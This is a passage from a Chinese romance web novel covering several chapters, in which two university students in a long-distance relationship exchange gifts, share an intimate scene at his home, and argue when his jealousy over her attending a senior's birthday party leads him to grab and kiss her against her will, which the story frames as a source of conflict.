迅速扯下身上短袖扣上衬衫,然后把方敏周的手臂拉下来, “好了。” 方敏周睁开眼睛,看到一个害羞的沙滩男孩。 怎么办, 有点想笑。 “……挺好的, 你去海边可以穿这件。”说完, 觉得这句话怪怪的, 不像夸奖, 这个时候她应该夸他什么?帅?明明更亲密的事情都做过了, 这个词一时却说不出口,慌不择路地随手又指了一件白色衬衫,“那件呢?” 王衎看过去, 顺手解开身上这件衬衫顶上的两颗扣子,领子往上一拽。 “啊。”猝不及防, 方敏周低叫出声,赶紧把脸捂上了。 王衎哈哈大笑,笑声中颇有种复仇成功的得意。 方敏周眼睛是闭上了, 脑海里还是刚才王衎结实健康的身体,摸是摸了,但没仔细看过,现在触觉和视觉融合,叫她一时无所适从。 听觉变得敏感,窸窸窣窣一阵,她的手被拽下,王衎说:“好啦,我穿上衣服了。” 方敏周将信将疑地睁开眼睛,看他真的穿上了那件白衬衫,衬得人模狗样的,恼羞成怒,轻轻打了他一下。王衎笑嘻嘻地挨了,笑着笑着,低头又响亮地在方敏周脸上亲了一口。 “……你幼不幼稚?”方敏周说他。 “明明是你先……” 后面的词王衎用嗯嗯啊啊的拟声词代替,方敏周反驳:“我哪有!” “是你让我换衣服的啊。”王衎还挺委屈。 方敏周终于弄明白了,但她只是想看看他穿这些衣服什么样子而已……到底是谁心思不单纯? 最后王衎一一换上了新衣服给方敏周看,卫生间里进进出出很麻烦,他都是直接原地换,方敏周不看,也不再别扭挡脸,只移开视线,偶尔余光会瞥见也就瞥见了,心想着身正不怕影子斜。 几套效果都不错,毕竟王衎个高肩宽,但也许是方敏周看惯了他的简单穿搭,觉得普通短袖就很好,其他有点花里胡哨的。 王衎便换回一开始的短袖长裤,人都红成了虾子,还不忘捏了捏方敏周同样通红的耳朵,“那就这样好了。” 方敏周又觉得不对,他买都买了,就可以多尝试尝试嘛,她的意见只是参考。 爱美之心人人皆有,相比有些男生以不修边幅为荣,方敏周觉得王衎臭美点也不是不行。开学前的暑假,妈妈也带她买了很多衣服,说要上大学了,得穿得体面漂亮点。 “你真不知道假不知道?”王衎幽幽地望着她。 “什么?”方敏周真没明白。 “……我穿给你看的啊,你喜欢我穿什么我就什么咯。”王衎说得好不尴尬,动作却很直接,坐到了方敏周身边。 方敏周一愣,人一紧张,关注点就跑偏了,“那你在学校也能穿啊……” 王衎嗤了一声,恨方敏周的不解风情,“在学校你又看不到。” 方敏周脸彻底滚烫。 这怎么也怪她? 但对视中,两个人却不约而同地沉默了,因为王衎的话无心地提及了那近在咫尺的分离。 寂寞像夜色一样笼罩着他们。 有那么一瞬间,方敏周觉得王衎不如别来,随后,她惊讶自己怎么突然有这么悲观的念头,于是立刻重新整理自己的想法,“你不用这样,我又没管你这个,你想穿什么就穿什么,就像我想穿什么就穿什么一样。” 王衎先是笑,但渐渐的,心里叹了口气。他知道方敏周是为了转移话题,但有的时候,他觉得她没必要把是非撇得那么清楚,这会让有一种努力讨她欢心却没有成功的挫败感。 不过他的自我消化能力一向很好。 “是吗……” 他靠得太近,让方敏周有点不自在了。她拿了衣服重新叠,莫名觉得那些衣服上还余留着王衎的体温。 她说是啊,因为她还想要染头发——受金莹影响,难道还要征求他的意见?王衎说是不用,她染什么颜色他都喜欢,方敏周佩服他说什么都能说成情话的本事,不吭声了,又半天等不到他说话。 好一会儿,忍不住看他,明亮的灯光下,王衎似乎就等着她这一眼,故意用夸张调笑的表情和语气,“所以你的意思是,我穿什么你也都喜欢?” 方敏周眉眼更红了,张嘴大概要骂他,王衎趁机捧着她的脸吻了下去。方敏周含糊地挣扎了声,但声音都被王衎卷走。理智雪似的融化,在情热中颤栗。 他们以前接吻是很慎重的,像吃汁水丰沛的水果,要特别留心,不然容易弄脏手,但现在特别是今晚,却尝到了甜头又没尝够似的,没完没了,动不动就想亲一亲抱一抱,恨不得就变得黏糊糊脏兮兮,但等分开时发现一起滚到了床上,又连忙起身拉开距离,生怕拆着地雷。 临走前,王衎从行李箱里拎出一只巴掌大的小熊递给方敏周,“这个给你。” 方敏周微微一愣,怀疑王衎是在打感情牌。 高二那只玩具熊太大,她没有带过来,难为他考虑到这点。 但这样……她会舍不得走的。 王衎自然等着方敏周表示感动,被她主动亲了亲,他心花怒放。 夜深,方敏周被送回学校。楼下已经没什么人了,方敏周也不再逗留。回到宿舍立马洗漱,然后上床,在床铺里一边和王衎聊天一边继续应付室友们的好奇心。 睡前涂了厚厚的唇膏——她也不知道这样有没有用,但聊胜于无,刚才照镜子,她发现她的嘴唇有点肿了,怪王衎没提醒她,王衎说,他的肿得更厉害好吧,回想起今晚她的疯狂,方敏周惭愧,心想自己确实没资格指责王衎。 夜里淅淅沥沥又下了场小雨,北城的秋来得真早,真正的一场秋雨一场凉,第二天起来阳光明媚,但体感明显凉快了许多,方敏周和王衎补上公园游船,下午,她送王衎到机场。 北城也真大,从酒店打车到机场也要差不多一个小时,王衎不让方敏周送,但这一次方敏周坚持,她后来就有点后悔之前没送爸妈。 王衎虽然不想她累着,但看她一点也不嫌回程麻烦,特别是对比一下她高中读书时的争分夺秒,心里还是挺美的。 美得冒泡、美得一点都不想走了,从坐上出租车起,就一直握着方敏周的手,直到不得不去安检。 两个人拥着,王衎嬉皮笑脸:“怎么样,现在是不是后悔要和我异地了?” 方敏周心里真的有过这个想法,但王衎这么说,她只摇头。 后悔这个词太重了,这才开学多久? “真的?”王衎不相信,“这么舍得我走?” 方敏周再酝酿也说不出肉麻的话,广播响了,她轻轻抱了下王衎,“走吧,好好学习。” 王衎失笑,他外公外婆都不叮嘱他这样的话了,但能有什么办法呢,方敏周就是这样,她自己可能都没有注意到,她的眉头皱着,王衎觉得自己的心也跟着皱了。 他抚平她的眉心,亲了亲,“……我真不想走。” 方敏周垂着眼睛,低低地应了声。 王衎过了安检,转过身双手大幅度地交叉向她挥手,笑容灿烂阳光,吸引了工作人员和其他乘客的注意。 换做平时,方敏周可能要掉头逃跑,但此刻她定定地站在原处,在周边人带笑的目光下,也笑着朝他挥手,好像他们不是一对正在道别的恋人。 他的身影到底消失,方敏周心里仍然山石垒垒,堵的难受,她想起不久前,她也是这样目送爸妈离开。 她坐了一会,等到王衎给她发来消息说登机了,她回复后,才离开机场。往地铁走的路上,听到飞机低空飞过的声音,轰隆隆的,把她心里那座山震碎了,但乱七八糟的,仍然难以行人。 她知道这会儿王衎是真的走了,这个城市又只有她一个人了。风吹上脸,眼睛涩涩的,这次方敏周没有哭。 开学这段时间,即使是相对开朗外向的罗佳和金莹,聊天的时候也会提到不适应和想家,然后大家互相安慰鼓励一下,就不能再宣泄更多了,因为别人帮不了忙,事后自己也会觉得自己矫情。 不知道为什么,依然是学生,时隔不到半年,变成大学生的他们好像就成熟了许多。 乘地铁回学校比打车要多用半个多小时,还要换乘,但只要几块钱。有空位,方敏周坐下后戴上耳机,她本来应该利用这么长的通勤时间听英语,但她选择了听歌,都是王衎听得那些。 从机场这一站上车的人大多带来有行李,有的是像是来旅游的,有的像是出差刚回来。 她左边是一对和她同龄的情侣,手扣着手,方敏周想到她刚才和王衎在外人看来估计也是这样;她的对面有一对中年夫妇,低声说着话,时不时抬头看车门上方的显示灯,方敏周忽然发现,她没有问过那天爸爸妈妈是怎么去机场的。 王衎竟然比她细心,提前给她转了打车的钱,让她一定要打车回去,因为猜到她会舍不得这笔钱。 她不差钱,但还是省了,她慢慢熟悉着这座以地铁为主要交通枢纽的城市,好像这样能够督促她的成长。 方敏周低头看着自己的鞋尖,耳机里的情歌却听得她越发怅然。人一伤心,就好像变得不是自己了。 王衎很大方,他说,他爸妈说了,如果谈恋爱还要女朋友付钱,就别谈了。 但爸爸妈妈也和她说过,既然她和人家在一起了,就要好好珍视这段感情,付出是相互的。 考上大学方敏周拿了一些奖金,给亲戚朋友家的一些小孩补课也赚了钱,基本有收入但没支出,所以虽然刚开学这段时间各种杂项费用开支比较多,现在方敏周手头还是比较宽裕的。 她拿出手机,再一次仔细对比购物车里几双鞋子的不同,想象穿在王衎脚下的模样,终于挑了一双下单—— 作者有话说:明天起恢复九点半更新,但……有可能延迟[化了] 不能准时更新的话还是提前发公告通知,谢谢大家包涵~ 第56章 第 56 章 王衎收到方敏周的礼…… 王衎收到方敏周的礼物时, 惊喜之余觉得方敏周奇怪了。 他有好多问题。 暑假他生日,她投其所好送了他一款鼠标,因为那些沉迷游戏被退学的新闻, 还不忘叮嘱他几句, 他嘴上答应, 不过不知道是不是心理作用, 觉得方敏周送的鼠标打起游戏更顺手点, 而现在什么日子都不是,她突然送她更贵的球鞋。 不是不能送……但他有点猜到这双鞋子背后的考量,心情不免复杂, 像个摇摆的挂钟,一会儿觉得方敏周和他太客气了, 一会儿又觉得她心里有他。 不过还是很高兴。 电话里,方敏周问他合适吗, 他说合适, 他很喜欢, 正好就是他最近想要买的一双。 收礼物的人把送礼物的人夸得天花乱坠, 方敏周都不知道该说王衎真诚热情还是油腔滑调, 嗔道:“你能不能好好说话。” “我说的真心话啊。”王衎笑, “不过你怎么知道我鞋码的?” 他记得自己没和她提起过。 方敏周那边默了会,犹犹豫豫地说她也不知道,就是觉得他好像是42码, 听到王衎暧昧的笑声,恼了, 故意说歪理,“这有什么好笑的,你不知道我鞋码吗?” 好像他也应该知道她穿多大的鞋, 奇怪的是,居然还真的有一个答案在王衎嘴边,“……36码?” 方敏周也惊讶了,好一会儿,说他答对了,两个人握着发烫的手机,同时笑出声。 王衎把球鞋当宝贝似的供了几天,室友们都打趣他,玩笑里带着羡艳,落尾到也想要谈甜甜的恋爱,还有感慨王衎女友有钱大方的。 王衎把这些话当作对方敏周的称赞悉数收下,他们不会知道,他女朋友只是对他大方,对自己还是挺小气的。 想到这,他心又酸又甜,想回送方敏周礼物,但细想觉得时机不对,一定又会给她造成心理负担,便打算过段时间,或者等到她生日,可那就要等到十二月,未免也太远了。 ……他又想见她了。 鞋子不穿不是个事儿,王衎挑了个良辰吉日穿上了,换了个心态,就是那种别人随口说一句新鞋啊,他会说是的,女朋友送的。 如助神威,画图间隙摸摸篮球,三分球的命中率都高了,穿得也很爱惜。 国庆节前学院篮球赛初赛,王衎也穿着上场了,但对方手脚很脏,双方多次起了冲突,王衎脚被踩了两次,第三次,踩了回去。 这下起了头,因为王衎的队友们也都忍无可忍了,双方一顿混战,最后双双被取消决赛资格,都没好过却也解气。事后有人调侃王衎,不是冲动不是血气,“他就是心疼他女朋友给他买的新鞋被踩了。” “王衎有女朋友了?”还是有人不知道的。 “对啊,高中同学,学霸,现在在北城大学,他之前还请假飞去北城找他女朋友呢。” 对王衎而言,他事后庆幸脸上没受伤,不然视频的时候被方敏周看见要倒霉。 他期盼着国庆赶快到。 国庆假期,方敏周打算回家,想试试抢卧铺,但没抢到,只有买机票。机票价格飞涨,有些肉疼,但想到要回家了,又觉得值得,所谓钱花在刀刃的。 七天的假,扣去来回花在路上的时间,见外公外婆,见同学见朋友……根本不够用,给到王衎的时间比想象中少,吃饭看电影之外,两个人只想单独地好好待一会。 王衎爸妈在南城,于是,方敏周第一次真正到他家里去。 她知道王衎家境优渥,但进门看到玄关处有一面鞋墙时,还是有点意外。王衎向她稍稍“炫耀”了下自己的珍藏,但大概是觉得她不会感兴趣,没有多说。 方敏周是不感兴趣,但因为要给王衎买鞋,多少了解了一些讯息,再看到她送的那双球鞋被王衎小心地放在一旁的鞋架上,一时间说不出来心里什么感受。 她想不起来高中的时候王衎都穿什么样的鞋子,那会儿都穿校服、苦读书,彼时她是真的不怎么关心“这些事情”。 “这双给你。”王衎弯腰,给她拿了一双粉色拖鞋,“新的。” 他看起来像是想顺手帮她穿脱鞋子,方敏周吓了一跳,没了胡思乱想,忙推开他要自己来,王衎也像有点反应过来,匆忙应了两声,挠挠脑袋站起来,“你、你要不要喝水?还是饮料?” 不等方敏周回答,自顾自地逃到厨房里去了。 方敏周换好拖鞋,原地站着,低头,袜子里的脚趾动了动,慢慢走到厨房边上。没见过王衎在厨房打转的样子,有点新鲜。 随后,她跟着王衎到他的房间里去。 他的房间很大,有独卫和一整面的柜子,柜子里有好些模型,包括高中他送王衎的那个,小小的,被摆在中间。 之所以选择来王衎家里约会,自然是觉得比在外头来得自在,想看电影就看电影,想打游戏就打游戏,想接吻……就接吻。 可等真挨着坐在一起,气氛比想象中的尴尬,一举一动都在挑战彼此的神经似的。 方敏周只有把目光盯牢电脑屏幕,假装看不到王衎频频的偷看。 王衎确实存了一点上不得台面的心思,可事到如今却怕哪里不小心过了火惹方敏周厌恶,所以反而绷紧了。 水喝了两杯,卫生间去了一趟——跑外头去上的,还没话找话问方敏周要不要去卫生间,不用不好意思,方敏周则摇头,她早就为了避免这点,水都只敢抿两口而已。 王衎看她始终拘谨的坐姿,轻轻把她的手握住。方敏周的手指像是条件反射似的跳了跳,但没有异议,王衎堪堪压住自己上扬的嘴角。 后来大概是神经绷久了失了弹性,慢慢放松了些许。照进室内的阳光随着时间推移变了方向,两个人都看过去,视线收回来时撞进对方眼里。眼珠像水晶一样闪闪发光,嘴唇也润润的,吸引着去仔细看。脸渐渐靠近,温热气息交缠间,唇瓣贴在了一起。 顿时,毛燥的心被抚平了,秋老虎的天里,接吻比喝水解渴。 亲了不知道多久,唇也咬了、舌也含了,但不像上回在酒店里那般激烈,更像是在练习长吻的技巧,如何换气、如何让对方都更舒服享受,就像游泳,短距离和长距离有不同的节奏。 方敏周更喜欢温柔点的接吻,王衎是男生,但他的嘴唇很软,像花瓣,他轻轻来的时候,方敏周反而会比较主动,觉得自己像只采蜜的小蜜蜂,而上颚是两个人都敏感的地方,王衎缠她,她的舌尖无意间舔过,就听见他鼻间逸出的闷哼,随后的吮吸就带着点报复的粗鲁。 细水长流流到最后,水流湍急。 分开时,眼睛也睁开,阳光尚且明亮,唇间欲断未断的银丝像沾了露水的叶脉,亮晶晶的。方敏周后知后觉地羞耻起来,推了把还愣神的王衎,“窗帘……” 王衎还在回味,呆呆地“哦”了一声,赶紧窗帘拉上。室内光线暗下来,方敏周却发现,这好像是个错误的决定。 王衎的脸又离得她很近了,他低声问:“上次你说‘了解’……你了解了吗?” 方敏周薄薄的眼皮微颤,看了眼王衎,不置可否。 王衎喉结滚动,“我找了一部……” 方敏周眼睛睁大了,王衎才反应过来这话有歧义,连忙解释:“不是!是……正经的科普。” 方敏周站起来要走,一码事归一码事,这个她可还没准备好,王衎拉住她,“真的,我特意找的!” 说着在电脑里翻找。 方敏周不信,拉扯间,影片开始播放,冒出来类似英语听力的那种女声,方敏周停住,犹豫地瞄了眼屏幕。视频画质模糊,像以前化学课上老师放的实验录像,一些上个世纪的产物,古老但科学。 “我说了吧。”王衎振振有词。 方敏周咽了口口水,别扭地重新坐下了。 视频只有英文字幕没有中文翻译,没有人出境,最多一双手,从图画到模型模拟,相关的专业词汇没学过,但配着画面大概能听懂在讲什么。 十五分钟左右的视频,看完,像是上了一堂生理课,也像是上了一堂英语课,受到了教育,学了不少新知识。房间暧昧的光线变成读书时午后的昏昏欲睡,他们重新做了一回同桌。 方敏周扭头看向王衎,王衎也看向她,尬笑。方敏周看清楚他脸上的窘迫,忽得就笑开了,心软乎乎的,这会儿觉得王衎可爱到了极点,情不自禁地凑过去亲了亲他的脸颊。 本意是偏向安慰的一个吻,也许带有一点点嘉赏的意思,告诉他这虽然是一部糟糕的片子,但也没有那么糟糕,可亲完了,方敏周反而又觉得有点鲁莽了。她怕王衎以为她在暗示什么,他变得深沉的眼神也让她的心怦怦直跳。 咫尺之间,方敏周这样情怯地望着他,的确让王衎生出她默许了什么的想法。 他试探着吻回去。 热剌剌的阳光晒了一天,温度酝酿至高点,叫人感觉不到空调的存在,从额头到脖颈再到胸腹,呼吸起伏间,薄汗被手指抹去,也被舌尖舔净。 方敏周躺在王衎的床上,王衎在她身上,他的气息像天罗地网一样把她捉住了。 王衎很烫很重,全身上下都硬硬地硌着她,脑袋钻进她的连衣裙里,短发刺得她痒痒的,但这痒止于皮肤表面,比不上从身体深处泛上来的酥麻,随着他的啄吻四处游走,抓挠不到。 方敏周脑袋嗡嗡地响,她有时望着光影静静的天花板,有时目光失焦没有落点,觉得此刻的王衎很像动物,什么动物不知道,但正伏在溪边舔水喝,可有时,那双柔软的嘴唇又会叼着她的肉吮咬几下,那时换她成了动物,他变成了捕兽夹之类的东西。 不能说舒服也不能说不舒服,生理心理的刺激一同盖过了一切,喘不上气但本能地攀登高点。 他们学着刚才影片里教的那样,乖乖地按着步骤抚摸,但隔有衣物,再沸腾难抑,只有王衎把自己的短袖脱了,他背上胸前全是汗,方敏周手心里也满是汗。 衣衫尚存,余地犹留,虽然不知道这余地是留给谁用。 王衎觉得自己简直伟大了,天知道他现在多想——但这念头又让他深感罪恶,他莫名坚守着一丝底线,也许是不想辜负方敏周对他的信任,他想要证明自己没有引诱她的意思……但他想要她快乐,因为他快乐。 指尖湿软,他痴痴地望着方敏周绯红的脸,她的头发也乱了,散在他深蓝色的床单上,咬着唇视线闪躲,闷住了原有声音。 王衎还想听,便继续去舔她,边舔边含糊不清地说了些没过脑的话。方敏周大概也没听清,她重新看向他的眼睛雾蒙蒙的,却比钩子还狠,手指打转往上,终于听到她的声音如水般曳出。 无法形容,从未听过,伴随着微微的颤抖,入了脑,眼红耳热。 他理应立刻跳下床,像以往一样躲起来自行解决,因为那行为他自觉是很不堪的,但当真是失了理智,跪坐间,被有些回过神来的方敏周盯着看后,血更是冲到了顶。 被羞耻鞭笞,却挺得越高,变态一样,想叫方敏周别看了,又想让方敏周摸摸他,当她的手真的覆上来的那一刻,他反而什么都来不及体会,大脑空白,无法控制地缴了枪—— 作者有话说:赶巧,国庆假期结束了却写到这里…… 全文大概30w+字,暂时没有社交账号哈 第57章 第 57 章 空调频率不变,王衎…… 空调频率不变, 王衎垂着脑袋,拿纸巾仔细擦拭方敏周的手,方敏周看到他耳朵红得滴血。 她估计自己的也是。 后来王衎去外面的卫生间, 把房间里的卫生间给她。镜子里, 方敏周看到她的脸果然红透了。 她拧开水龙头低头洗手, 但无论怎么洗, 都洗不掉刚才的触感和热度, 包括她自己身上被抚摸亲舐过的地方,也隐隐发烫。小时候玩科学游戏,放大镜汇聚太阳光于一点, 能够点燃纸张,方敏周现在觉得, 她正被无数个放大镜照着。 水流温凉,她凭空又出了汗, 懵懵地感慨男女的生理结构真不一样, 多少有点“纸上得来终觉浅”的意思, 又为自己把这诗用在这事上而羞惭。重新抬起头, 脸上的红晕还是消不下去。 她有点明白之前王衎为什么会在卫生间待那么久了。 方敏周试图转移注意力, 观察起这间浴室, 挺干净的,包括整间屋子都挺干净的。王衎一个人在家,不知道是本身卫生保持得不错还是有特意打扫过。 应该是前者吧? 洗漱台上摆着牙刷和一些基本的洗护用品, 方向各一,方敏周犹豫了下, 还是伸手把它们摆整齐了。 碰着剃须刀,多看了几眼,她没怎么感觉到王衎的胡茬, 也有点难以想象他有胡子和刮胡子的模样——联想到这,再注意到毛巾之类的私人用品,方敏周脸更红了。 等她走出卫生间,王衎已经回来。 他本是倚在书桌旁,不知道在想什么,看见她,罚站似的站直了,一副想说什么说不出口的局促模样。 方敏周慢慢走到床沿边坐下,王衎明显地松了口气,也挨着她坐下了。 窗户被打开了,天色已暗但没有开灯,橙红色晚霞擦过天空,落进一地余晖,风吹进来,带来被烘烤过的草木的味道。 当王衎试着握住她的手的时候,方敏周闻到他身上同样的洗手液的清香,这才想到王衎开窗是因为什么。 “……我得回家了。”她说。 “……好。”王衎说,“等会我送你。” “不用,我自己乘车回去就行。” 爸妈知道她今天是和王衎一起,嘱咐过她晚上回来吃饭,爸爸还意味深长地说,王衎哪天有空,可以来家里吃饭。 早上碰面的时候,方敏周把爸爸这话如实转告,王衎脸抽搐了两下,逞强:“我敢去,但怕你爸不敢真的让我进门。” 就算真的要见家长,也不可能是今天。 现在时间不多了。 王衎轻轻捏玩了会方敏周的手,才看向她,期期艾艾地问:“刚才……你,觉得怎么样?” 他这会儿不能说多冷静,但衣服既然重新穿上了,脸皮也跟着贴回来了点,想起来刚才的事情怪不好意思的,但该问的还是得问。 方敏周手指蜷起来,把王衎的手指包进了手心,她反问,“……你呢?” “我?我很舒服啊。”多么显而易见。 方敏周看着两人交缠的手指,含糊吐出两个字:“我也……” “也什么?”王衎贴着她的额头,想听她说出完整的句子。 方敏周抬了抬眼睛,说出来了,很小声的,“……舒服。” 细细密密的吻再一次侵落,王衎压抑着喘息,“怎么办,你别回去了吧?” “……别乱说。” 王衎笑,笑完叹气,明天他们就要返校了,“下周我来找你?” 方敏周吃惊地看他。 王衎装看不懂,“嗯,怎么了?” “你认真的?”方敏周问。 王衎这次的气叹在心里,说开玩笑开玩笑,抓住最后一点时间继续吻她。 但假期返校后的第一个周末,王衎又一次飞来了北城。 还是周五,这一次他直接等在教学楼的必经之处,方敏周和室友边说话边走下台阶,毫无准备地撞进人群中一双笑望着她的眼睛。 十月的北城天气转凉,王衎很骚气地穿了一件皮夹克,随意地站在一棵红枫树下,肩宽腿长,回头率十足。 方敏周缓下脚步直到站定,室友奇怪地顺着她的目光看过去,认出人后,反应比方敏周大,惊喜地推了她一把。方敏周如梦初醒,在低声的起哄声中,向王衎走去。 看到方敏周的脸越来越红,王衎嘴角也越翘越高。他很享受此刻,尽管只有短短一小段路,但有点像婚礼时,新娘走向新郎的那几步。 等方敏周走到他面前,他牵起她的手,但不禁皱眉,“你手怎么这么凉?” “一直这样。”方敏周说。 王衎观察她的表情,“看到我不高兴?” 高兴,但这份欣喜碍于场合,无法痛痛快快地表达出来,“你怎么来了?” “想见你啊。”王衎说得随意,揉着方敏周的手,“你不想见我吗?” 明知故问…… 看方敏周嗔怪的表情,王衎笑了。 但是,方敏周忍不住问他:“你又请假了?” 王衎瞄她一眼,像是已经知道犯错了的小孩,态度诚恳:“下次不会了。“ 方敏周:“……” 她不信,虽然心里着实有点替他焦虑,可是她不想也不能再说扫兴的话。 他又不是真的轻重缓急不分,还不是因为她……她如果还生气,多没良心。 她便问:“你怎么来的?今天早上的飞机?” “嗯。” 方敏周仔细看了看王衎的脸,他把自己捯饬得很光鲜亮丽,看不出倦容,但大清早的航班,怎么会不累呢? “走吧,吃饭去?”方敏周模糊的态度让王衎有点紧张,他试探着问,“你想吃什么?我这次查了下,你学校附近有家西餐厅好像不错,你吃过吗?” 方敏周摇头。 “那走吧?”王衎眉毛一扬,很是兴高采烈,像是要去秋游似的。 方敏周忍俊不禁,抬手理了理他并无问题的衣领,回道:“走吧。” 本来节后就有综合征,再额外见一面也无可厚非吧?不过方敏周还是提醒了王衎,之后不要再请假飞来找她了。 她尚且忙碌,学建筑系的课业听说很重。缺的课、长途的疲惫、花的钱,各方各面的消耗,最多也就两天时间,何必呢?还要再忍受一次分别。 “好啦,下次不会了。”王衎这么承诺她。 可是下一周,他又来了。 方敏周的同学直言羡慕她有这么好的男朋友,每周都飞来见她,王衎也觉得她叫他别来是口是心非,只有方敏周知道她心里有多替他焦虑。 她选择再同王衎好好谈一次。 首先学业为准,其次她列出开学到现在他飞来北城三趟的开销,一趟就将近她一个月的生活费。 王衎说他有钱,方敏周知道,但钱不是这么浪费的,“而且这也不是你的钱啊,是你爸妈的钱。” 王衎这才收起了一些满不在乎,“那我下次坐硬座好了,最便宜,比飞机便宜很多。” 方敏周住了声,静静地看着他,良久问:“你到底有没有听懂我说的?” 王衎当然听懂了,他理解方敏周的意思,但方敏周无法理解他。 王衎想说她真的不需要心疼钱,她只需要每周高高兴兴等着他就好,她见到他时明明是高兴的,但总是克制,他还想说,要不是当初她不愿意他报北城的学校,他也不至于两地来回奔波,这就是他不想异地恋的原因,难道真的一个学期就见上一两次面而已吗? 她忍得了,他忍不了。 而且难道她真的忍得? 他身边也有同学异地恋,但人家看起来都是恨不得每天都能见面的。 王衎知道方敏周心里有他、关心他也在乎他,可是他越来越觉得不够,大学到底太大,北城也太大,她本来就是一个目眺远方的人,他怕她看得也越来越远,然后再看不到他。 可是这些话说了,会吵架吧? 他耸了耸肩,“那我骑自行车过来?还是干脆跑过来?那样一分钱都不用花。” 王衎拿出手机,煞有介事地查查询从江城跑到北城要多久,“差不多一千公里,我每天跑二十公里,哇,要跑五十天。” 画面感太强,本想冷眼看他耍赖的方敏周差点笑出来。 尽管马上憋住了,但功亏一篑。 “不生气了?”王衎贴向她,柔声道,“我知道了,我下周不来就是了。” 方敏周本来就不是想和他吵架,点点头。 新的一周,王衎没来,方敏周刚觉得事情有点步入正轨,新一周的周五的晚上,她接到了王衎的电话。 他上完了白天的课,下午的航班,所以现在才到。 方敏周有些无话可说了。 今天晚上她刚好要去给卓睿卓学长秘密庆生,方敏周和卓学长算不上朋友,只是学妹,卓学长性格低调,但他的朋友们有意搞事,把辩论社的人也都叫上了,很体贴地提前叮嘱不用准备礼物也不用A钱,就是凑人头热闹一点。 想了想,答应了的事情不好反悔,谁让王衎又一次不请自来?她只好让王衎在酒店等她一会,“我会早点回来……” “不去不行吗?”电话那头王衎冷不丁问。 方敏周停住。 王衎也没说话了,没多久,他先开口,不见刚才的不耐,语调轻松:“你和那个学长有那么熟吗?不就是一个社团吗?” 方敏周无声地深呼吸了一口,“……因为已经答应人了。” 王衎呼吸紧了紧,“好啦,我在酒店等你,你早点回来。” 他让了步,方敏周不好再诘责,应声。 电话挂断。 但是,什么叫很熟,什么叫不就是一个社团? 可到了包厢,方敏周反而有点后悔了。一方面她惦挂着在酒店等她的王衎,无法投入大家的兴奋中,另一方面,在卓学长发现这次聚餐的真正目的时,尽管他表现出恰到好处的惊喜和无奈,但从他暗自摘掉手表又戴上的动作,方敏周觉得学长或许并不是那么想要一场惊喜派对。 惊喜总归是喜事,掺了一点酒的水也是酒,要是真的砸场子,很辜负他人的心意,这是一些社会成人道理。 卓睿重新戴好手表,不期然碰上方敏周的目光,他微怔后朝她微微一笑,方敏周也回以微笑。 蛋糕由一个学姐端进来,从旁人揶揄暧昧的态度中,方敏周恍然这原来还是场局中局。 切完蛋糕又待了会,方敏周向组局的学姐之一解释了下,学姐笑着拍拍她让她放心走,“哎呀你早说,也不把你薅过来了,耽误你约会了。” “没有……” 确认了下自己没有落下东西,正要溜走,不巧学长刚好走过来,这有点尴尬,方敏周进退两难,但卓睿很随和地对她说了句:“走啦。” 方敏周点头,身后学姐帮她解围:“敏周学妹的男朋友来找她,她这可是特意过来帮你庆生呢。” 卓睿闻言笑了,“谢谢你,不好意思了,被他们拉过来。“ “什么啊……”学姐不满道。 方敏周赶快补了一句“生日快乐”,告辞离开。 还好帮学长庆生的饭店就在学校的美食街,方敏周乘上酒店电梯时,时间刚过八点,她觉得这个点还不算太晚,但给王衎发的消息一直没回复。 她走出电梯,她按下拨号键。 也没有人接。 方敏周有点难以置信地看着手机屏幕熄灭。 她还没怎么,他先生气了? ——他凭什么生她的气。 有那么一瞬间,方敏周想干脆回宿舍好了,但她压着怒走到8102房间。抬手敲了两下门,等着看王衎会不会给她开门。 很快,门开了。 屋内没有光露出来。 方敏周心生警铃,但下一秒,她就被拽进了一室黑暗里。 湿热的吻劈头盖脸地落下,方敏周脑袋一懵,声音被趁机强行钻入的舌头堵住。反应过来的方敏周越挣扎,压着她的黑色身影吻得越凶,她被抵在墙角,当王衎的手撩开她的外套伸进来时,方敏周抓到了喘息的空隙,躲开他的嘴唇,喝道:“王衎!” 她的声音都有点颤抖。 王衎动作一滞,急促的呼吸扑在方敏周脸上。 窗帘拉得密实,她看不清王衎的表情,感觉他似乎笑了笑。灯突然被打开,她猝不及防闭了闭眼,皱眉再睁开,看到王衎的确是笑脸,他用开玩笑的口吻抱怨:“谁让你跑去庆祝别的男生生日。” 或许,她应该顺着这句话说些好听安慰的话,王衎的脾气就是这样不是吗?然后他们就能和之前一样,把一些无需介意的摩擦矛盾揭过去。 但疲惫感就像这间骤然明亮的房间,忽地涌满了方敏周心头。 “我为什么不能去给别的男生庆生?”她问。 灯光明亮,这回,方敏周清楚地看到王衎的笑容僵硬了。 第58章 第 58 章 那几个王衎来找她的…… 那几个王衎来找她的周末, 晚上方敏周回到寝室,总会被室友们好奇地询问约会进展。 专业课和谐但平静,一班子优等生聚在一起, 上课来、下课散, 就像“金融”“经济”这词听起来的感觉, 406寝室却是另一番风景。 理智汲取着知识, 情感渴望着爱欲。 金莹对星座星盘颇有研究, 闲时会帮大家看看近期运势,还问过方敏周男朋友的生日,说帮他们看合盘。 方敏周并不太信这些玄学八卦, 平时听个乐呵。她问合盘是什么意思,金莹说就是把两个人的星盘放在一起比较, 看看缘分深浅关系好坏。 彼时金莹说了什么,方敏周不太记得了, 大概是他们如果好好沟通、互相珍惜, 是会有好的结果之类。方敏周家里人给她算过命, 有过类似的话, 说她只要用功就能读好书。 方敏周觉得她和王衎是有在沟通的, 某种角度来说, 甚至偶尔的吵架也是一种沟通,她一直清楚他们性格不同。 但人想问题,总是容易流于表面, 就好像一道题不会,就是不会, 即使搞懂了,能够举一反三、归纳分类的都是少数。性格不同,听起来好像就是“性格不同”四个字, 却不自觉忽略其中的原因。 沉默间,王衎嘴角动了动,笑容变得柔和了些,他站直了身体往屋里走,“可以啊,其实我不是那个意思。”他示意方敏周过来,“对了,我买了你喜欢吃的点心,你现在要吃吗?” 方敏周站在门口,没有动。 她不要王衎浑水摸鱼的态度,她要和他把事情好好讲清楚,对的错的,有理的无理的。 “我之前和你说过的,我相信你,你也应该相信我。”方敏周沉下心,“我不觉得我去给别人庆生有什么问题,我在电话里说了,还有很多人,而且大家是提前约好的。” “我没说你有问题。”王衎笑笑。 “但你明明就是在生气。”方敏周皱眉,她的嘴唇上还残留着被他发泄碾压的痛感。 想到刚才自己的慌张和害怕,还有两人之间的力量差距,方敏周也真的变得有点恼火。 